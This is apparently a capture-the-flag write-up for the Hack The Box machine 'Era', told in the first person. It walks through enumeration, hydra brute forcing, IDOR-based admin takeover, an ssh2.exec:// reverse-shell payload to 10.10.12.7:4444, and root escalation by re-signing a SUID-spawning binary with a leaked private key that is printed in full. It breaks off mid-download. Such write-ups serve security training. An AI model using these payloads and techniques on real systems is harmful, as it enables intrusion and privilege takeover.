RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.5
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0309B7B14DF62A797B431119ADB37B14
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelAn intriguing setup—no SSH on port 22, yet FTP is humming on 21.
Web App
The target is a sleek design firm—minimalistic web presence. Their front page lists a few prominent users:

Though nothing else of interest stands out visually.
Subdomain
Thus we can perform a subdomain enumeration:
$ ffuf -c -u "http://era.htb" -H "Host: FUZZ.era.htb" -w ~/wordlists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt -t 50 -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 226ms]
:: Progress: [7920/1613291] :: Job [1/1] :: 230 req/sec :: Duration: [0:00:38] :: Errors: 0 ::Found file.era.htb, which is is a file management portal, complete with upload functionality. Login required.

But wait—there's a backup keyhole.
An alternative login path via security question:

Poking at it with invalid usernames returns a clean-cut: User not found.

Which means... user enumeration is on the table.
Dirsearch
Classic dirsearch to spider through the subdomain:
$ dirsearch -u 'http://file.era.htb' -x 404
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/Axura/ctf/HTB/era/reports/http_file.era.htb/_25-07-26_19-51-54.txt
Target: http://file.era.htb/
[19:51:54] Starting:
[19:53:03] 301 - 178B - /assets -> http://file.era.htb/assets/
[19:53:04] 403 - 564B - /assets/
[19:53:28] 302 - 0B - /download.php -> login.php
[19:53:35] 301 - 178B - /files -> http://file.era.htb/files/
[19:53:35] 403 - 564B - /files/
[19:53:35] 403 - 564B - /files/cache/
[19:53:35] 403 - 564B - /files/tmp/
[19:53:44] 301 - 178B - /images -> http://file.era.htb/images/
[19:53:44] 403 - 564B - /images/
[19:53:56] 200 - 34KB - /LICENSE
[19:53:58] 200 - 9KB - /login.php
[19:54:01] 200 - 70B - /logout.php
[19:54:03] 302 - 0B - /manage.php -> login.php
[19:54:27] 200 - 3KB - /register.php
[19:54:43] 302 - 0B - /upload.php -> login.php
Task CompletedWe found a register.php endpoint hidden from the website:

And we can login the file management system after registering a new account:

WEB
Brute Force
User Enumeration
The security question login triggers a POST /security_login.php request, visible via BurpSuite proxy:

We forward this to Intruder and launch a brute-force on the username parameter using a proper wordlist:

Enable the Grep feature to match against a known rejection string:

Eventually, we uncover responses that bypass the "not found" keyword filter:

Identified valid usernames:
eric
ethan
john
veronica
yuriHowever, web login brute-force using rockyou.txt proved ineffective.
Password Cracking
Instead, we shift our focus to FTP authentication using the leaked usernames. Launching hydra:
hydra -L users.txt -P ~/wordlists/rockyou.txt ftp://era.htb -vVWe successfully retrieve Yuri's credentials:

Login: yuri / mustang
FTP
We authenticate to the FTP service on port 21 using the compromised credentials and enumerate available directories:
$ ftp $target_ip
Connected to 10.129.132.62.
220 (vsFTPd 3.0.5)
Name (10.129.132.62:Axura): yuri
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.lftp
To recursively retrieve all contents, we pivot to lftp:
lftp -u yuri ftp://era.htbThis shell-like client supports convenient exploration. We use mirror for full recursive download:

Downloads
Apache Config
These are configuration files for Apache2 web server, which give us insight into:
apache2.conf: Main Apache config which controls global server behavior (e.g., directory permissions, includes, log paths).000-default.conf: Default site config under/etc/apache2/sites-available/. Handles virtual host setup (DocumentRoot, etc).ports.conf: Specifies which ports Apache listens on (e.g.,80,443, or custom).file.conf: A custom config
PHP Extensions
The php8.1_conf/ directory reveals a stash of shared PHP 8.1 modules and build artifacts:
$ tree php8.1_conf
php8.1_conf
├── build
│ ├── ax_check_compile_flag.m4
│ ├── ax_gcc_func_attribute.m4
│ ├── gen_stub.php
│ ├── Makefile.global
│ ├── php_cxx_compile_stdcxx.m4
│ ├── phpize.m4
│ ├── php.m4
│ └── run-tests.php
├── calendar.so
├── ctype.so
├── dom.so
├── exif.so
├── ffi.so
├── fileinfo.so
├── ftp.so
├── gettext.so
├── iconv.so
├── opcache.so
├── pdo.so
├── pdo_sqlite.so
├── phar.so
├── posix.so
├── readline.so
├── shmop.so
├── simplexml.so
├── sockets.so
├── sqlite3.so
├── ssh2.so
...Notable .so extensions include:
pdo_sqlite.so,opcache.so,readline.so- And notably:
phar.so,ssh2.so,sockets.so
These shared objects are dynamically loaded into the PHP runtime via php.ini. From a hacker's lens, this collection screams attack vectors, especially in conjunction with common web vulns:
phar.so- Abuse via: PHP deserialization (e.g.,
unserialize(file_get_contents('phar://...'))) - Vuln vector: LFI → RCE when using a crafted phar file with a serialized object inside.
- Abuse via: PHP deserialization (e.g.,
ssh2.so- Abuse via: If app lets user control SSH connection details
- Functionality exposed:
ssh2_connect(),ssh2_auth_password(),ssh2_exec()
- Risk: If the app dynamically builds SSH sessions with weak input validation — game over.
We'll attempt to weaponize them by dropping malicious sources via the upcoming IDOR vulnerability.
IDOR
ID Enumeration
Once inside the file management system via our self-registered account, we upload a test file:

It returns the download URL like http://file.era.htb/download.php?id=7638.
When we tamper with the id parameter, e.g., testing id=1, we get a clear rejection:

Classic IDOR fingerprint. Time to bring in BurpSuite Intruder and fuzz the id parameter:

Use the "File Not Found" message as a grep filter, and we quickly isolate valid hits:

Aside from our own upload, two targets surface: IDs 150 and 54.
We pull and unpack both archives:
$ ll
total 2.0M
-rw-r--r-- 1 Axura Axura 2.7K Jul 26 20:24 signing.zip
-rw-r--r-- 1 Axura Axura 2.0M Jul 26 20:24 site-backup-30-08-24.zip
$ unzip signing.zip -d signing
Archive: signing.zip
inflating: signing/key.pem
inflating: signing/x509.genkey
$ unzip site-backup-30-08-24.zip -d backup
Archive: site-backup-30-08-24.zip
inflating: backup/LICENSE
inflating: backup/bg.jpg
creating: backup/css/
inflating: backup/css/main.css.save
inflating: backup/css/main.css
inflating: backup/css/fontawesome-all.min.css
inflating: backup/css/noscript.css
creating: backup/css/images/
extracting: backup/css/images/overlay.png
inflating: backup/download.php
inflating: backup/filedb.sqlite
creating: backup/files/
inflating: backup/files/.htaccess
extracting: backup/files/index.php
inflating: backup/functions.global.php
inflating: backup/index.php
inflating: backup/initial_layout.php
inflating: backup/layout.php
inflating: backup/layout_login.php
inflating: backup/login.php
inflating: backup/logout.php
inflating: backup/main.png
inflating: backup/manage.php
inflating: backup/register.php
inflating: backup/reset.php
...Downloads
Signing
The signing.zip drops two pivotal files related to certificate-based cryptography:
| File | Description |
|---|---|
| key.pem | A private key (in PEM format) — used for signing certificates or JWTs, or enabling HTTPS. |
| x509.genkey | An OpenSSL config file or key generation template |
If the application signs requests, cookies, or tokens using this key—it's game over. We now possess the ability to forge trust.
Site Backup
The site-backup-30-08-24.zip is gold: a complete source + database dump:
$ tree backup
backup
├── bg.jpg
├── css
│ ├── fontawesome-all.min.css
│ ├── images
│ │ └── overlay.png
│ ├── main.css
│ ├── main.css.save
│ └── noscript.css
├── download.php
├── filedb.sqlite
├── files
│ └── index.php
├── functions.global.php
├── index.php
├── initial_layout.php
├── layout_login.php
├── layout.php
├── LICENSE
├── login.php
├── logout.php
├── main.png
├── manage.php
├── register.php
├── reset.php
├── ...
10 directories, 62 filesWe can access the database using sqlite3:
$ sqlite3 backup/filedb.sqlite
SQLite version 3.49.1 2025-02-18 13:38:58
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> SELECT * FROM users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||The password hashes are bcrypt-based, but thanks to low cost factors, we manage to crack eric and yuri:
eric: america
yuri: mustangSame creds confirmed earlier via brute force, although the password for admin user admin_ef01cab31aa is not crackable.
Code Review
Now we have pulled down a lot of resources:
$ tree . -L2
.
├── apache2_conf
│ ├── 000-default.conf
│ ├── apache2.conf
│ ├── file.conf
│ └── ports.conf
├── backup
│ ├── bg.jpg
│ ├── css
│ ├── download.php
│ ├── filedb.sqlite
│ ├── files
│ ├── functions.global.php
│ ├── index.php
│ ├── initial_layout.php
│ ├── layout_login.php
│ ├── layout.php
│ ├── LICENSE
│ ├── login.php
│ ├── logout.php
│ ├── main.png
│ ├── manage.php
│ ├── register.php
│ ├── reset.php
│ ├── sass
│ ├── screen-download.png
│ ├── screen-login.png
│ ├── screen-main.png
│ ├── screen-manage.png
│ ├── screen-upload.png
│ ├── security_login.php
│ ├── upload.php
│ └── webfonts
├── php8.1_conf
│ ├── build
│ ├── calendar.so
│ ├── ctype.so
│ ├── dom.so
│ ├── exif.so
│ ├── ffi.so
│ ├── fileinfo.so
│ ├── ftp.so
│ ├── gettext.so
│ ├── iconv.so
│ ├── opcache.so
│ ├── pdo.so
│ ├── pdo_sqlite.so
│ ├── phar.so
│ ├── posix.so
│ ├── readline.so
│ ├── shmop.so
│ ├── simplexml.so
│ ├── sockets.so
│ ├── sqlite3.so
│ ├── ssh2.so
│ ├── sysvmsg.so
│ ├── sysvsem.so
│ ├── sysvshm.so
│ ├── tokenizer.so
│ ├── xmlreader.so
│ ├── xml.so
│ ├── xmlwriter.so
│ ├── xsl.so
│ └── zip.so
└── signing
├── key.pem
└── x509.genkeyWe can start some code auditing work on the found backup source code.
1. upload.php
We begin with upload.php, as it provides direct file input interaction — potential for upload-based exploitation.
if ($_POST['fsubmitted'] == "true") {
$target_dir = "files/";
// If the user is uploading multiple files, we'll ZIP them
if (count($_FILES["upfile"]["name"]) > 1) {
$target_file = $target_dir . "Era_User$currentUser " . date('Y-m-d H_i_s') . ".zip";
} else {
$target_file = $target_dir . basename($_FILES["upfile"]["name"][0]);
}
$uploadOk = true;- All uploaded files (and zips) are placed inside
/files/directory — predictable path. - Multi-upload =
.zipfile (named by user ID and timestamp). - Single file = kept as-is using
basename()— allows user to control filename and extension. - No sanitization of extensions —
.php,.phar, etc., are allowed in theory.
// Check for harmful patterns
if (strpos($target_file, "'") !== false || strpos($target_file, '"') !== false) {
echo '<div class="upload-error">Error: Tampering attempt detected.</div>';
$uploadOk = false;
}
$fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));- Attempts to block
'and"in filenames. That's it. - No restriction on file types, content, or MIME — dangerously flexible.
if ($file_upload_complete) {
$newFileId = rand(1, 9999);
while (in_array($newFileId, $fileListId)) {
$newFileId = rand(1, 9999);
}
$current_date = time();
$publish = contactDB("INSERT INTO files (fileid, filepath, fileowner, filedate)
VALUES ($newFileId, '$target_file', $currentUser, $current_date);", 0);
echo '<div class="upload-success">Upload Successful!</div>';
$download_link = get_download_link($newFileId);- File metadata stored in SQLite
filestable, withfileidas primary reference. - The
fileidis chosen randomly between 1–9999, creating an easy-to-brute IDOR vector. - Users get back a clean download URL via
get_download_link().
This script allows uploading arbitrary file types — including .php or .phar — but under current conditions, it's not exploitable:
- The uploaded files are stored in a non-executable directory (
/files/), preventing.phpexecution. - There's no Local File Inclusion (LFI) to load uploaded payloads.
- No usage of
unserialize()on user-controlledphar://paths has been found so far.
Conclusion: although the upload logic is insecure, it's not exploitable in this context.
2. download.php
The download.php comes after the upload.php workflow.
The top section of the code handles file downloading securely except for for the found and leveraged IDOR vulnerability, which has no authentication or ownership check before allowing users to access any file by ID:
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
If the requested file exists, it proceeds to return it:
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echo deliverTop("Era - Download");
echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echo deliverBottom();
} else {
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
...
}Despite the dl=true parameter not being visible in the URL, it's injected programmatically via the HTML source:

This behavior is confirmed in the server-side logic — the last else code block for "simple download":

Now, the interesting part begins under the show=true branch (framed with purple) — only active for admin user (erauser === 1). This code block exposes a dangerous logic flaw:
// Check if it's a wrapper (://)
if (strpos($format, '://') !== false) {
// Treats it as a protocol wrapper
// e.g. http://, file://, php://, etc.
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
// Build the final file path
$file = $fetched[0];
// If a wrapper is set
// [!] This constructs an arbitrary protocol + file path.
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
...
}Here, the $wrapper string is fully attacker-controlled. By setting format=file://, php://, ssh2://, etc., an admin user can retrieve arbitrary resources using stream wrappers — this is a textbook Arbitrary Protocol File Read (APFR) vulnerability.
Thanks to the presence of ssh2.so and phar.so, and assuming they're enabled, this opens potential for:
- LFI (
file://) - PHP filter chain (
php://filter) oracle - SSRF / RCE (
ssh2://)
3. reset.php
BBefore exploiting the Arbitrary Protocol Execution, we must escalate our privileges to the admin account.
Here comes reset.php — an unprotected IDOR:

There's no check to prevent a low-privileged user from changing the security question answers of any account, including the admin admin_ef01cab31aa. By resetting the admin's answers and then using the /security_login.php endpoint (previously discovered), we can hijack the admin account.
Exploit
With all the pieces aligned, we can now construct a full attack chain to gain Remote Code Execution (RCE):
┌───────────────────┐
│ 1. IDOR │
└─────────┬─────────┘
│
Reset admin's security Qs via `reset.php`
│
▼
┌──────────────────────┐
│ 2. Login as Admin │
└───────────┬──────────┘
│
Use `security_login.php` with forged answers
to gain session as `erauser = 1`
│
▼
┌────────────────────────┐
│ 3. Abuse fopen Wrapper │
└───────────┬────────────┘
│
Access `download.php?id=X&show=true&format=ssh2.exec://user@attacker/command`
│
▼
┌───────────────────┐
│ 4. Achieve RCE │
└───────────────────┘
Victim executes the command over SSH via
`fopen("ssh2.exec://...")` 1. IDOR
We begin by exploiting the insecure direct object reference in reset.php.
Capture the POST request in BurpSuite Repeater and replace the username with admin_ef01cab31aa:

This lets us overwrite the admin's security question answers.
2. Admin Impersonation
Once reset, use the security_login.php endpoint to impersonate the admin:

After login, upload a dummy file to generate a valid file ID. Capture the download request and the admin session cookie in Burp:

Forward the request to Repeater and test the wrapper logic using the file:// protocol (with any existing ID like 54 or 150):

This confirms we've reached the stream wrapper execution path under admin privileges.
3. Abuse SSH2 Stream
PHP | ssh2://
Since ssh2.so is enabled (confirmed via the downloaded PHP config), we can leverage the ssh2.exec:// protocol, which opens an SSH connection and executes a remote command.
From PHP docs, available stream wrappers include:
ssh2.shell://ssh2.exec://ssh2.tunnel://ssh2.sftp://ssh2.scp://
This means we can achieve remote command execution via ssh2.exec://:
ssh2.exec://user:[email protected]:22/usr/local/bin/some_commandThis example opens an SSH connection to example.com, authenticates, and runs some_command.
SSRF to RCE
This is effectively an SSRF primitive with protocol smuggling, leading to command execution.
We can craft a payload to execute a reverse shell by targeting the local SSH service and authenticating as yuri (whose credentials we cracked earlier):
ssh2.exec://yuri:[email protected]:22/bash -c "bash -i >& /dev/tcp/10.10.12.7/4444 0>&1";Paste this into the Burp Repeater URL and URL-encode it (Ctrl+U) in the format= parameter:

Start a listener in advance, and fire the request. The target executes the command via fopen("ssh2.exec://..."), giving us a reverse shell as yuri:

USER
The user flag is located under Eric's home directory. Since we know his password (america), we can simply switch to him using su - eric and retrieve the flag:

ROOT
First, ensure a stable shell as user eric:
script -c bash /dev/nullInternal Enum
LinPEAS
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root eric 33 Jul 27 01:12 /home/eric/user.txt
-rwxrw---- 1 root devs 16544 Jul 27 08:15 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 103 Jul 27 08:15 /opt/AV/periodic-checks/status.log
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxrwxr-x 3 root root 4096 Jul 22 08:42 .
drwxr-xr-x 20 root root 4096 Jul 22 08:41 ..
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 AV
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/home/eric/.gnupg/trustdb.gpg
/home/eric/.gnupg/pubring.kbx
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.logIt strongly suggest something is interesting under /opt:
eric@era:~$ ls -aRhl /opt
/opt:
total 12K
drwxrwxr-x 3 root root 4.0K Jul 22 08:42 .
drwxr-xr-x 20 root root 4.0K Jul 22 08:41 ..
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 AV
/opt/AV:
total 12K
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 .
drwxrwxr-x 3 root root 4.0K Jul 22 08:42 ..
drwxrwxr-- 2 root devs 4.0K Jul 27 08:22 periodic-checks
/opt/AV/periodic-checks:
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 27 08:22 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs 17K Jul 27 08:22 monitor
-rw-rw---- 1 root devs 205 Jul 27 08:22 status.logWe observe that monitor is a root-owned binary, but both it and status.log are group-writable by devs, which eric is a member of — clearly a lead for privilege escalation.
Primitives
1. Binary Hijack
Check the binary details:
eric@era:~$ file /opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not strippedThe binary monitor is executed by root, but because the devs group has write access to its parent directories, and eric is in devs, we can freely rename or replace it:
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod: changing permissions of 'monitor': Operation not permitted
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ ll
drwxrwxr-- 2 root devs 4096 Jul 27 08:26 ./
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ../
-rwxrw---- 1 root devs 16544 Jul 27 08:26 monitor.bak
-rw-rw---- 1 root devs 307 Jul 27 08:26 status.logThis sets up a classic binary hijack scenario, where we can insert a payload and wait for it to be executed with elevated privileges.
2. Scheduled Task
We observe regular updates to status.log, clearly produced by the monitor binary:
eric@era:~$ cat /opt/AV/periodic-checks/status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.This indicates:
- A privileged scheduled task (likely by
root) is runningmonitor. - Since we can replace
monitor, this gives us control over what gets executed as root.
To confirm, we run pspy and observe periodic executions:

The root user is clearly performing regular monitoring — giving us a reliable execution vector for privilege escalation.
3. Signature
Self Signed
However, replacing monitor isn't enough — because it's protected by a signature verification mechanism.
If we tried to replace it with a simple bash script:
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > monitor
eric@era:/opt/AV/periodic-checks$ ls
monitor monitor.bak status.log
eric@era:/opt/AV/periodic-checks$ cat monitor
#!/bin/bash
chmod +s /bin/bashThe status.log records the error of recent execution:
eric@era:/opt/AV/periodic-checks$ cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.This tells us that the binary must be a valid ELF file with a cryptographic signature.
To be notice, the signature is expected inside the ELF file itself — not as an external .sig or .pem. We can confirm this by checking for custom ELF sections:
eric@era:/opt/AV/periodic-checks$ readelf -S /opt/AV/periodic-checks/monitor | grep -i sig
[28] .text_sig PROGBITS 0000000000000000 00003040The ELF binary contains a custom section named .text_sig. When the system runs the monitor binary via the scan logic (e.g., initiate_monitoring.sh), it extracts this .text_sig section, via objcopy as indicated, and verifies it against the binary's actual .text segment.
Thus we can use objdump to inspect the section data:
$ objdump -s -j .text_sig monitor
monitor: file format elf64-x86-64
Contents of section .text_sig:
0000 308201c6 06092a86 4886f70d 010702a0 0.....*.H.......
0010 8201b730 8201b302 0101310d 300b0609 ...0......1.0...
0020 60864801 65030402 01300b06 092a8648 `.H.e....0...*.H
0030 86f70d01 07013182 01903082 018c0201 ......1...0.....
0040 01306730 4f311130 0f060355 040a0c08 .0g0O1.0...U....
0050 45726120 496e632e 31193017 06035504 Era Inc.1.0...U.
0060 030c1045 4c462076 65726966 69636174 ...ELF verificat
0070 696f6e31 1f301d06 092a8648 86f70d01 ion1.0...*.H....
0080 09011610 79757269 76696368 40657261 ....yurivich@era
0090 2e636f6d 02146d63 4aa981e1 93a1e448 .com..mcJ......H
00a0 c5205ff7 9b84e6b6 f50b300b 06096086 . _.......0...`.
00b0 48016503 04020130 0d06092a 864886f7 H.e....0...*.H..
00c0 0d010101 05000482 01006a8d 5090e77a ..........j.P..z
00d0 a22431d3 e629241a c7eec906 dce87592 .$1..)$.......u.
00e0 c90733b8 5ea5c466 db04a35a 28648853 ..3.^..f...Z(d.S
00f0 00f2775c fbe983ae 833d2c36 7030985a ..w\.....=,6p0.Z
0100 b5d9ae28 cfbf75db 8e402955 c9bef8d3 ...(..u..@)U....
0110 058e6ee1 1eb435bb 30a3056d b85074bc ..n...5.0..m.Pt.
0120 4e15fc44 0a57e3f6 2f4b5ecd 0e6b222d N..D.W../K^..k"-
0130 c4039189 2c7ded05 fe45a3e9 c00f0610 ....,}...E......
0140 f8a653ab f72571aa cbf2ff38 238658d0 ..S..%q....8#.X.
0150 8dcfba33 1c6d2092 8c01c77d 4e49ea94 ...3.m ....}NI..
0160 670c9de9 42779e09 67143d81 49209fc1 g...Bw..g.=.I ..
0170 24005880 04c7cebf d398ec6d 55b50333 $.X........mU..3
0180 db46f2ab 74e6aa24 e9dc76d2 c9c4183b .F..t..$..v....;
0190 991bc0f4 762b1c09 1d82317c aab31e88 ....v+....1|....
01a0 dfc04871 2bb9ac8a 0dbb6cd7 cd6bdcaa ..Hq+.....l..k..
01b0 c96c2afe faa17944 ebdd7a6e 6f2e91da .l*...yD..zno...
01c0 5e41e0e6 5ddeec93 47ee ^A..]...G.The output shows a typical ASN.1 DER-encoded structure, including fields like:
Era Inc.(Issuer)ELF verification(CN)[email protected](email)- A long RSA signature blob
This confirms the system is validating binaries by extracting .text_sig and verifying its integrity. Any unsigned or tampered binary will be rejected.
OpenSSL Config
Earlier, we discovered a signing setup in the FTP share:
$ tree signing
signing
├── key.pem
└── x509.genkeyThe x509.genkey is an OpenSSL config used to generate a self-signed certificate, matching the metadata in .text_sig:
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = [email protected]
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyidThis matches what we saw in the signature.
The [ myexts ] section confirms it's intended for digital signature use only — no CA functionality.
RSA Private Key
As for the actual private key:
$ file key.pem
key.pem: OpenSSH private key (no password)Despite that, running:
$ openssl rsa -in key.pem -check
RSA key ok
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----…confirms it's a valid RSA private key, usable with OpenSSL for signing operations.
The private key corresponds to the public key embedded in the signature verification logic — likely either compiled into the script or extracted from a trusted store. This means we can re-sign any custom ELF that we build, provided we preserve the .text_sig format expected by the checker.
Exploit
Now we know: to hijack the privileged monitor binary, we must sign our payload using the Era Inc. signature scheme.
If you are familiar with binex, Linux ELF binaries do not contain .text_sig by default — so this section must have been added post-compilation.
The custom .text_sig section name is a signature for itself to help us find out what tool it's using to signed the ELF. Search a bit on Google, we discover that it's signed using linux-elf-binary-signer, a tool that appends a cryptographic signature into a new ELF section named .text_sig, verifying the integrity of the binary's .text segment.
Then the following steps are simple. Let's build a minimal SUID spawner:
/**
* pwn.c
*/
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/pwn && chmod +s /tmp/pwn");
return 0;
}Compile statically for maximum portability:
gcc -static -o pwn pwn.cNow use the leaked private key key.pem (and same file for x509 since it contains the public cert as well):
./elf-sign sha256 key.pem key.pem pwn monitorThis signs pwn and outputs monitor with a valid .text_sig section:

Upload our new evil monitor binary to replace the original one:
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ curl -O 10.10.12.7/monitor
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
